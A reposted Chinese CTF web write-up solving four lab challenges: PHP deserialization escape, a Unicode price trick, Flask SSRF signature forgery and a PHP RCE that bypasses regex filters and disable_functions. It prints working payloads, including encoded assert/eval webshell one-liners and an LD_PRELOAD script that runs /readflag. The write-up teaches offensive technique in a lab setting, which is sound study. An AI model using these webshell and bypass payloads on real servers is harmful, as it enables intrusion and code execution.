渗透测试练习题解析 5(CTF web)

news2024/12/23 18:42:34

1、[安洵杯 2019]easy_serialize_php 1

考点:PHP 反序列化逃逸 + 变量覆盖

【代码审计】

通过 GET 的方式获取参数 f 的值,传递给变量 function

定义一个过滤函数,过滤掉特定字符(用空字符替换)

下面的代码其实没什么用,应该是干扰,对做题没影响

extract () 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。该函数存在变量覆盖漏洞,我们只需要从新传递变量的值就可以将原来的覆盖掉。

变量覆盖漏洞_extract变量覆盖漏洞-CSDN博客

这里就是我们刚进去的页面,当 $function 为空值的时候输出该跳转链接

通过 img_path 的值来为 $_SESSION['img'] 传递指定的值,加上 $_SESSION['img'] 在 extract () 后面,导致我们无法直接为其赋值

对 $_SESSION 进行序列化然后再进行敏感字符过滤,这会导致反序列化逃逸

代码通过判断参数 f 的值来输出指定文件,当 f=highlight_file 就输出 index.php 文件的内容到页面,其他的一样

根据代码的提示,我们构造 f=phpinfo ,然后寻找敏感信息,最终找到一个文件名,猜测 flag 应该在其中

值得注意的是

如果 f=show_image ,那么就会对前面序列化的字符串进行反序列化,然后再进过一次 base64 解码,高亮解码后的文件

【解题思路】

经过前面代码的分析,解题思路就有了。

序列化的时候是对下面三个变量同时序列化的

$_SESSION["user"] = 'guest';

$_SESSION['function'] = $function;

$_SESSION['img']=base64_encode('guest_img.png');

而前两个变量是可以通过变量覆盖漏洞进行修改的

$_SESSION["user"] = 'guest';

$_SESSION['function'] = $function;

由于该题对字符串过滤是先序列化再过滤再反序列化,存在反序列化逃逸,我们可以通过对前两个变量的构造从而实现对 img 的赋值

正常情况下来讲,该代码序列化的过程

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'show_image';
$_SESSION['img'] = 'guest_img.php';

echo serialize($_SESSION);

?>
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:13:"guest_img.php";}

我们需要把 img 的值改成 d0g3_f1ag.php 经过 base64 编码后的字符串,因为在高亮函数数会经过一次解码所以传进去的必须提前编码好

d0g3_f1ag.php   ----- base64 -----> ZDBnM19mMWFnLnBocA==

我们修改一下$_SESSION['function']、$_SESSION['img'] 的值【注意:这里只是为构造 payload 而测试的,并不是直接改题目中 $_SESSION['img'] 的值,那个是改不了的】

(变量值写 a 只是为了方便计算)

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';

echo serialize($_SESSION);

?>
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

反序列化逃逸,如果经过过滤后,键值的字符减少了(但是原本长度是不会变的),他就会向后读取对应的字符数补到和原长度一样,我们截取这么一段

a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';

echo serialize($_SESSION);

?>

序列化后

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

经过过滤,flag 全部被过滤掉,先后取 24 为补足长度,所以 ";s:8:"function";s:42:"a 就变成了 user 的值,";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 在花括号外面,会被忽略掉

a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

但是这样只有两个键值对,而代码要满足三个,所以我们自己再补一个键值对

payload:

a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"cc";s:1:"1";}

接下来就构造获取 flag 的 payload

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"cc";s:1:"1";}

然后查看网页源代码

把 /d0g3_fllllllag 进行 base64 加密一下(L2QwZzNfZmxsbGxsbGFn),套进前面的 payload 中,继续

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"cc";s:1:"1";}

【拓展】

反序列化逃逸分为两种

①、关键词数增加

        例如:from -> where (数量由 4 到了 5)

②、关键词数减少

        例如:将一些关键词替换成空格,那词数就减少了(本体属于这种)

第一种逃逸方法:构造多个关键字

第二种逃逸方法:

        1、值逃逸:需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去了,单独作为一个键值对

        2、键逃逸:只需要一个键值对,我们直接构造会被过滤的键,这样值的一部分充当键,剩下的一部分作为单独键值对

2、[ASIS 2019]Unicorn shop 1

考点:Unicode转换

进入靶场,我按照提示输入信息:

错误提示:只允许输入一个字符

什么意思,没太明白,我们查看一下页面源代码

访问发现没什么,还是同样的界面

翻译一下

那么随便输入一个字符看看

分析到这里我就做不出来了,后来看了别人的 wp

这些都能成功,好像只有第四个商品可以购买,且价格只要大于千位即可,用字符来替代

3、[De1CTF 2019]SSRF Me 1

考点:Python 代码审计

【代码审计】

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask     # flask 框架
from flask import request
import socket               # socket 模块可以创建套接字
import hashlib              # 算法模块
import urllib               # python爬虫库,网络请求模块
import sys                  # sys 模块主要负责与 Python 解释器进行交互,该模块提供了一系列用于控制 Python 运行环境的函数和变量
import os                   # os 模块主要负责与操作系统进行交互
import json                 # 专门处理 json 格式的模块

reload(sys)                       # reload()函数将以前导入过的模块再加载一次
sys.setdefaultencoding('latin1')  # 设置默认编码为 latin1 字符集

app = Flask(__name__)

secert_key = os.urandom(16)       # 生成随机加密字符,参数表示需要生成的随机字节串的长度。生成的随机字节串会以二进制形式返回。

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)

        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)   # 不存在的话就创建

    def Exec(self):
        result = {}             # 字典
        result['code'] = 500    # 令键 code 的值为 500
        if (self.checkSign()):  # 检查签名
            # 由下面代码可以猜测 self.action 的值为 :scanread | readsacn
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param) # 保存 scan 返回的 flag.txt 中的数据
                # 判断是否超时
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print(resp)
                    tmpfile.write(resp)   # 将 flag.txt 中的数据写入 result.txt 文件中
                    tmpfile.close()       # 关闭文件
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()  # 把 result.txt 中的数据读取出来保存到字典中
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

# generate Sign For Action Scan.
# 三个路由的执行是通过 URL 来判断的,没有参数的话执行 index() 获取源码
# 根据目录下文件的不同执行不同的路由
# 题目提示给出:flag is in ./flag.txt
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    # unquote 对 URL 进行解码;quote 对字符串进行 URL 编码
    # request.args.get 获取地址中的参数(键 param)
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    # 键获取的 param 和 action 传入 getSign
    return getSign(action, param)
# 该函数给我们返回的是 secert_key + param + action 的 MD5 值
# 通过这个路由可以构造 payload : /geneSign?param=flag.txt  得到:d36e748ebd776f0bf1f7b4f131f91ca2

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    # 获取 cookie 中 action 字段的值
    action = urllib.unquote(request.cookies.get("action"))
    # 获取地址中 param 参数的值
    param = urllib.unquote(request.args.get("param", ""))
    # 获取 cookie 中 sign 字段的值
    sign = urllib.unquote(request.cookies.get("sign"))
    # 表示发出请求的远程主机的 IP 地址,remote_addr代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的
    ip = request.remote_addr

    # 把参数 param 的值传给 waf()函数
    if(waf(param)):
        return "No Hacker!!!!"

    #创建实例化对象 task
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)  # 设置超时时间
    try:
        return urllib.urlopen(param).read()[:50] # 读取 flag.txt 中的数据
    except:
        return "Connection Timeout"

def getSign(action, param):
    # 根据前面的函数,传过来的 action == “scan" , param 为地址中 param 参数的值
    # 由于在 Exec 中要检测签名,而 scan 作为默认值传过来,所以 read 我们要自己加上去才能满足条件
    # param=flag.txtread,拼接起来就是 secert_key + flag.txtreadscan
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    # 对 content 进行 md5 加密,结果以十六进制的形式返回【digest :表示二进制形式】
    return hashlib.md5(content).hexdigest()

def waf(param):
    # 去除 param 值两边的空格,然后大写转小写
    check=param.strip().lower()
    # startswith 判断字符串是否以指定字符串开头
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    # 通过 run()方法启用本地开发服务器
    app.run(host='0.0.0.0')

# 解题思路:
# 方法一:字符串拼接
# 由类方法 Exec 可知,我们要做的是绕过 self.checkSign() 只有绕过了才能顺利进入
# 由 checkSign() 我们定位到 getSign 函数,最终的 MD5 值我们只需要通过 geneSign() 构造 payload 即可获取到
# payload1:/geneSign?param=flag.txtread => 1b49e5550464c8d432c4eddae4376413 ,这个就是我们 getSign 的值
# 而 self.sign 的值是通过 cookie 传递的,所以我们构造 payload2:进入/De1ta?param=flag.txt页面,令 Cookie:sign=1b49e5550464c8d432c4eddae4376413;action=readscan

4、[极客大挑战 2019]RCE ME 1

考点:代码审计 + 取反绕过 preg_match() + 劫持 SO + RCE

进入靶场,需要代码审计

发现两个敏感的关键字:preg_match() 、eval()

        preg_match() :执行正则匹配表达式

        eval() :eval()函数把括号里面内容按照php代码处理

审计代码,要求我们输入的参数 code 不能大于 40 字节,且要绕过正则匹配才可以执行 eval,我们的目的就是要执行 eval,因为该函数可以把它的参数当成 PHP 代码执行

发现正则过滤了大小写字母以及数字,这里可以利用 url 编码取反绕过,或者异或绕过

url 编码取反绕过

<?php

$s = 'phpinfo';
echo urlencode(~$s);

?>

urlencode 的参数中 ~ 表示取反的意思

这里的 ~ 和 ! 有所不同,~ 是按位取反,!是逻辑取反(即真为假,假为真)

运行结果

%8F%97%8F%96%91%99%90

我们在 url 中传入的参数,在服务器后端会进行 url 解码,由于该字符是取反过后的结果,所以直接解码后会成为不可打印的字符,从而绕过正则

这里推荐末初师傅的一篇文章:

浅谈PHP代码执行中出现过滤限制的绕过执行方法_php过滤绕过-CSDN博客

构造 payload:

?code=(~%8F%97%8F%96%91%99%90)();

解析:

        这里的 %8F%97%8F%96%91%99%90 需要再取一次反,因为在编码的时候取了一次反,在 url 中再取一次,服务器进行 url 解码的时候才能解成 phpinfo ,而括号最后的 (); 是 phpinfo(); 的 ();,只不过这个括号没进行编码,所以要拼接上去

经过一番搜索里面并没有我们要的 flag ,但是发现了一个关键的东西

        disable_functions 是 php.ini 中的一个设置选项。相当于一个黑名单,可以用来设置 PHP 环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。

还查看了一下 PHP 的版本

通过一句话木马来获取 shell

通过 phpinfo 可以发现 PHP 的版本为 7.0 且 disable_functions 没有过滤掉 assert() ,在 PHP 7.0 版本中,assert() 有个特点:如果参数是字符串,将解释为 PHP 代码,并通过 eval() 执行。

由于 eval 属于 PHP 语法构造的一部分,eval()是一个语言构造器,不能被可变函数调用,所以不能通过变量函数的形式来调用,因为当前版本为 7.0,所以我们可以用 assert 来替代 eval 

格式:

(assert)(eval($_POST["test"]))

动态调用函数时的命令执行对于eval()和assert()的执行问题_cannot call assert() with string argument dynamica-CSDN博客

更详细的话看这篇

关于一句话中使用的assert和eval - Article_kelp - 博客园 (cnblogs.com)

<?php
    $a='assert';
    $b=urlencode(~$a);
    echo $b;

    echo "<br>";

    $c='(eval($_POST["test"]))';
    $d=urlencode(~$c);
    echo $d;
 ?>

构造 payload

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);

发现 flag ,但是读取不了,应该要用到 readflag 这个文件

通过看其他师傅的文章,本地有预期解和非预期解

预期解:劫持 SO

利用 LD_PRELOAD + putenv 打组合拳

1、 LD_PRELOAD  :这个环境变量指定路径的文件,会在其他文件被调用前,最先被调用

深入分析 LD_PRELOAD-CSDN博客

2、putenv  可以设置环境变量,添加 setting 到服务器环境变量,该环境变量仅存在于当前请求期间,在请求结束时会回复到初始状态

putenv 函数解析

这里我说一下劫持 SO 的原理:

        在 Unix 操作系统中,程序运行时会按照一定的规则顺序去查找依赖的动态链接库,当查找到指定的 so 文件时,动态链接器会将程序所依赖的共享对象进行装载和初始化,至于为何可以使用 so 文件进行函数劫持,这与 Linux 的特性有关,两个 so 文件定义了同名函数,程序在调用该函数时,会调用先加载的 so 中的函数,后加载的将会被屏蔽掉。所以要实现劫持就要时我们上传的恶意程序先执行。

        环境变量 LD_PRELOAD 以及配置文件 /etc/ld.so.preload 可以帮我们实现,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载动态链接库,只需要通过 LD_PRELOAD 加载的 so 中编写我们需要 hook 的同名函数,即可实现劫持。

这里需要下载两个文件

1、bypass_disablefunc.php

2、bypass_disablefunc_x64.so

下载地址:

GitHub - yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)

对 bypass_disablefunc.php 文件进行一些修改,命名为 shell.php

<?php
	//shell.php
	echo "成功执行了shell.php";

    $cmd = '/readflag';//这个是需要执行的文件,这里是“/readflag”
    $out_path = '/tmp/flag.txt';//将读取到的文件放在/tmp/flag.txt中
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";//将读取到的flag放入/tmp/flag.txt中
    

    putenv("EVIL_CMDLINE=" . $evil_cmdline);//
	$so_path = "/tmp/bypass_disablefunc_x64.so";//这个so文件之前已经上传到/tmp中
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; //读取/tmp/flag.txt文件内容

    unlink($out_path);
?>

上传两个文件

构造 payload:

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/tmp/shell.php%27)

非预期解:蚁剑插件 disable_functions

        在获取了无用 shell 之后,我们需要绕过 disable_functions,可以使用蚁剑的插件绕过,如下是具体安装方法:windows,linux 蚁剑下载与安装 与 手动安装插件disable_functions-CSDN博客

这里就不具体讲解了,有兴趣了解一下,这个是用工具来解题的

[极客大挑战 2019]RCE ME_[极客大挑战 2019]rce me 1-CSDN博客

【拓展】

异或绕过

        在PHP中两个字符串异或之后,得到的还是一个字符串。如果正则过滤了一些字符串,那就可以使用两个不在正则匹配范围内的字符串进行异或得到我们想要的字符串。

<?php
    echo ('~'^'?');
 ?>

得到的结果:A

这里直接拿别人的 payload

?code=(%22%80%80%80%80%80%80%80%22^%22%f0%e8%f0%e9%ee%e6%ef%22)();

做本题搜索过的相关知识文章:

分析webshell(php)以及eval与assert区别 - FreeBuf网络安全行业门户

动态调用函数时的命令执行对于eval()和assert()的执行问题_cannot call assert() with string argument dynamica-CSDN博客

[极客大挑战 2019]RCE ME_[极客大挑战 2019]rce me 1-CSDN博客

[极客大挑战 2019]RCE ME 1 - 微草wd - 博客园 (cnblogs.com)

关于一句话中使用的assert和eval - Article_kelp - 博客园 (cnblogs.com)

命令执行中关于PHP正则表达式的一些绕过方法_正则表达式中过滤的怎么绕过-CSDN博客

绕过 disable_functions 的相关文章:

无需sendmail:巧用LD_PRELOAD突破disable_functions - FreeBuf网络安全行业门户

bypass disable_functions姿势总结 - 先知社区 (aliyun.com)

绕过Disable Functions来搞事情 - FreeBuf网络安全行业门户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1562205.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

面试智力题

面试智力题 二进位bit1. 题目&#xff1a;一千杯水&#xff0c;一杯水有毒&#xff0c;怎么用10只老鼠&#xff0c;把这杯水找出来&#xff08;1&#xff09;解法1&#xff1a;常规法&#xff08;2&#xff09;bit法&#xff08;位数法&#xff09; (3) 时间法三级目录 二进位b…

Flutter Web 的未来,Wasm Native 即将到来

早在去年 Google I/O 发布 Flutter 3.10 的时候就提到过&#xff0c; Flutter Web 的未来会是 Wasm Native &#xff0c;当时 Flutter 团队就表示&#xff0c;Flutter Web 的定位不是设计为通用 Web 的框架&#xff0c;类似的 Web 框架现在有很多&#xff0c;而 Flutter 的定位…

Vision-Language Models for Vision Tasks: A Survey

论文地址&#xff1a;https://arxiv.org/pdf/2304.00685.pdf 项目地址&#xff1a;https://github.com/jingyi0000/VLM_survey 一、综述动机 视觉语言模型&#xff0c;如CLIP&#xff0c;以其独特的训练方式显著简化了视觉识别任务的流程。它减少了对大量精细标注数据的依赖&a…

文生图大模型三部曲:DDPM、LDM、SD 详细讲解!

1、引言 跨模态大模型是指能够在不同感官模态(如视觉、语言、音频等)之间进行信息转换的大规模语言模型。当前图文跨模态大模型主要有&#xff1a; 文生图大模型&#xff1a;如 Stable Diffusion系列、DALL-E系列、Imagen等 图文匹配大模型&#xff1a;如CLIP、Chinese CLIP、…

Rust---有关介绍

目录 Rust---有关介绍变量的操作Rust 数值库&#xff1a;num某些基础数据类型序列(Range)字符类型单元类型 发散函数表达式&#xff08;&#xff01; 语句&#xff09; Rust—有关介绍 得益于各种零开销抽象、深入到底层的优化潜力、优质的标准库和第三方库实现&#xff0c;Ru…

Unity中UI系统1——GUI

介绍 工作原理和主要作用 基本控件 a.文本和按钮控件 练习&#xff1a; b.多选框和单选框 练习&#xff1a; 用的是第三种方法 c.输入框和拖动框 练习&#xff1a; 练习二&#xff1a; e.图片绘制和框 练习&#xff1a; 复合控件 a.工具栏和选择网格 练习&#xff1a; b.滚动视…

关于OcenaBase v4.2中,分区转移和负载均衡的技术解读

OceanBase​​​​​​​​​​​​​​作为一款原生分布式数据库&#xff0c;其核心的技术特性之一是高可扩展性&#xff0c;其具体表现在两个方面&#xff1a; 首先&#xff0c;是灵活的扩缩容能力&#xff0c;包括垂直扩缩容和水平扩缩容&#xff1a; 垂直扩缩容&#xff…

android APP monkey 测试

monkey 测试 一、电脑ADB安装及使用详解1、什么是 Monkey 测试2、什么是ADB3、ADB的作用4、安装前提条件5、ADB下载6、ADB安装与配置 二、连接安卓手机检查是否连接上安卓手机windows端安装ADB驱动 三、 monkey测试操作指令演示指令APP包名查看方式测试效果 一、电脑ADB安装及使…

蜜罐技术---德迅猎鹰

什么是蜜罐 蜜罐是一种互联网安全系统&#xff0c;部署诱饵和陷阱在关键网络入口&#xff0c;诱导攻击者攻击伪装目标&#xff0c;保护真实资产&#xff0c;并且对攻击者做行为取证和追踪溯源&#xff0c;定位攻击者自然人身份&#xff0c;提升主动防御能力&#xff0c;让安全…

Ps:阈值

阈值 Threshold命令可将灰度图像或彩色图像转换为仅包含黑色和白色的二值图像。 Ps菜单&#xff1a;图像/调整/阈值 Adjustments/Threshold Ps菜单&#xff1a;图层/新建调整图层/阈值 New Adjustment Layer/Threshold 阈值命令通过设置一个特定的亮度阈值&#xff08;阈值色阶…

EasyCVR视频汇聚平台海康Ehome2.0与5.0设备接入时的配置区别

安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台可拓展性强、视频能力灵活、部署轻快&#xff0c;可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等&#xff0c;以及支持厂家私有协议与SDK接入&#xff0c;包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安…

ZCMU操作系统课程实验 - 实验1-Linux的使用

登录 1. 打开这个东西 2. 在 文件 - > 打开 中打卡机房里VMOS文件里的这个东东 3. 然后依次操作下去好了&#xff0c;有红色的选项&#xff0c;我都是选的"Do nothing"。完成后就会出现这样一个黑框框。 4. 让你登录。输入&#xff1a;root。密码&…

第十七章 Kafka

一、特性 - 高吞吐、低延迟 - 高伸缩性 - 持久性、可靠性 - 容错性 - 高并发 通过 O(1)的磁盘数据结构提供消息的持久化&#xff0c;这种结构对于即使数以 TB 的消息存储也能够保持长时间的稳定性能。 高吞吐量&#xff1a;即使是非常普通的硬件 Kafka 也可以支持每秒数百…

MSOX3104T是德科技MSOX3104T示波器

181/2461/8938产品概述&#xff1a; Keysight MSOX3104T X 系列示波器提供您更快获得测量见解所需的所有性能和功能&#xff0c;再次重新定义了您对通用示波器的期望。除了触摸的优点外&#xff0c;内置 USB 主机和 USB 设备端口还使 PC 连接变得容易。InfiniiVision MSOX3104…

Nginx 日志输出配置json格式

nginx日志输出配置json格式 nginx服务器日志相关指令主要有两条&#xff1a; (1) 一条是log_format&#xff0c;用来设置日志格式 (2) 另外一条是access_log&#xff0c;用来指定日志文件的存放路径、格式和缓存大小。 log_format指令用来设置日志的记录格式&#xff0c;它的语…

【面试八股总结】传输控制协议TCP(一)

一、什么是TCP协议 TCP是传输控制协议Transmission Control Protocol TCP 是面向连接的、可靠的、基于字节流的传输层通信协议。 面向连接的&#xff1a;每条TCP连接杜只能有两个端点&#xff0c;每一条TCP连接只能是点对点的&#xff08;一对一&#xff09;可靠的&#xff1a…

iPhone设备中如何分析和解决应用程序崩溃日志的问题

​ 目录 如何在iPhone设备中查看崩溃日志 摘要 引言 导致iPhone设备崩溃的主要原因是什么&#xff1f; 使用克魔助手查看iPhone设备中的崩溃日志 奔溃日志分析 总结 摘要 本文介绍了如何在iPhone设备中查看崩溃日志&#xff0c;以便调查崩溃的原因。我们将展示三种不同的…

WPF学习笔记-FlowDocument实现表格单元格垂直居中以及边框设置

文章目录 概述一、基本方案1.1 添加Grid1.2 添加列1.3 添加行1.4 添加Grid的时候同时添加行和列1.5 添加元素1.6 获取指定单元格的元素1.7 添加TextBlock元素1.7.1 直接添加字符串1.7.2 添加Paragraph1.8 获取文本内容1.9 获取元素二、其他操作2.1 设置边框2.2 设置隔行颜色2.3…

深入剖析Xen与KVM虚拟化技术及其架构特点

引言 在现代数据中心与云计算领域中&#xff0c;虚拟化技术已经成为提升资源利用率、增强灵活性与可扩展性的重要基石。其中&#xff0c;Xen与KVM作为两种备受瞩目的开源虚拟化解决方案&#xff0c;分别以其独特的设计理念与技术创新引领着行业的进步与发展。Xen源自剑桥大学的…

Excel 隔几行批量插入空白行

例如如下表格&#xff0c;每隔6行插入一行数据&#xff1a; 1&#xff09;第7个单元格输入1 2&#xff09;选中6个单元格&#xff0c;然后双击填充数据&#xff1a; 3&#xff09;F5 找到常量 Ctrlshift 复制插入的数据&#xff0c;然后选中数据 按F5&#xff0c;定位到空值